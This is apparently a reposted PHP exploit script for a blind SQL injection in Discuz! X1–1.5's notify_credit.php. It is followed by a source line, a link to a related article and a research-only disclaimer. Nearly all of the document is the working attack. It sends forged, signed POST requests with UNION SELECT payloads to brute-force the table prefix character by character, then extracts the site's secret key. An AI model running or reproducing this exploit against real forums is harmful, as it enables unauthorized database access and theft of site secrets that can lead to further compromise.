_r(' +---------------------------------------------------------------------------+ Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit by toby57 2010.11.05 mail: toby57 at 163 dot com team: http://www.wolvez.org +---------------------------------------------------------------------------+ '); if ($argc < 2) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' url [pre] Example: php '.$argv[0].' http://localhost/ php '.$argv[0].' http://localhost/ xss_ +---------------------------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $url = $argv[1]; $pre = $argv[2]?$argv[2]:'pre_'; $target = parse_url($url); extract($target); $path .= '/api/trade/notify_credit.php'; $hash = array(); $hash = array_merge($hash, range(48, 57)); $hash = array_merge($hash, range(97, 102)); $tmp_expstr = "'"; $res = send(); if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');} preg_match('/FROMs([a-zA-Z_]+)forum_order/',$res,$match); if($match[1])$pre = $match[1]; $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='"; $res = send(); if(strpos($res,"doesn't exist")!==false){ echo "Table_pre is WRONG!nReady to Crack It.Please Waiting..n"; for($i = 1;$i<20;$i++){ $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='"; $res = send(); if(strpos($res,'SQL syntax')!==false){ $pre = ''; $hash2 = array(); $hash2 = array_merge($hash2, range(48, 57)); $hash2 = array_merge($hash2, range(97, 122)); $hash2[] = 95; for($j = 1;$j <= $i; $j++){ for ($k = 0; $k <= 255; $k++) { if(in_array($k, $hash2)) { $char = dechex($k); $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='"; $res = send(); if(strpos($res,'SQL syntax')!==false){ echo chr($k); $pre .= chr($k);break; } } } } if(strlen($pre)){echo "nCracked...Table_Pre:".$pre."n";break;}else{die('GET Table_pre Failed..');}; } } }; echo "Please Waiting....n"; $sitekey = ''; for($i = 1;$i <= 32; $i++){ for ($k = 0; $k <= 255; $k++) { if(in_array($k, $hash)) { $char = dechex($k); $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='"; $res = send(); if(strpos($res,'SQL syntax')!==false){ echo chr($k); $sitekey .= chr($k);break; }}}} if(strlen($sitekey)!=32)die("n".'can NOT get the my_sitekey..'); echo "n".'Exploit Successfully.'."nmy_sitekey:{$sitekey}"; exit; function sign($exp_str){ return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key="); } function send(){ global $host, $path, $tmp_expstr; $expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr); $data = "POST $path HTTP/1.1rn"; $data .= "Host: $hostrn"; $data .= "Content-Type: application/x-www-form-urlencodedrn"; $data .= "Content-Length: ".strlen($expdata)."rn"; $data .= "Connection: Closernrn"; $data .= $expdata; $fp = fsockopen($host, 80); fputs($fp, $data); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } ?>
文章来源于lcx.cc:Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit
相关推荐: Bluebox Security提报Android 绕过应用签名认证漏洞原理
标 题: 【原创】Bluebox Security提报Android 绕过应用签名认证漏洞原理 作 者: jiazhijun 时 间: 2013-07-09,15:30:06 链 接: http://bbs.pediy.com/showthread.php?t…
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论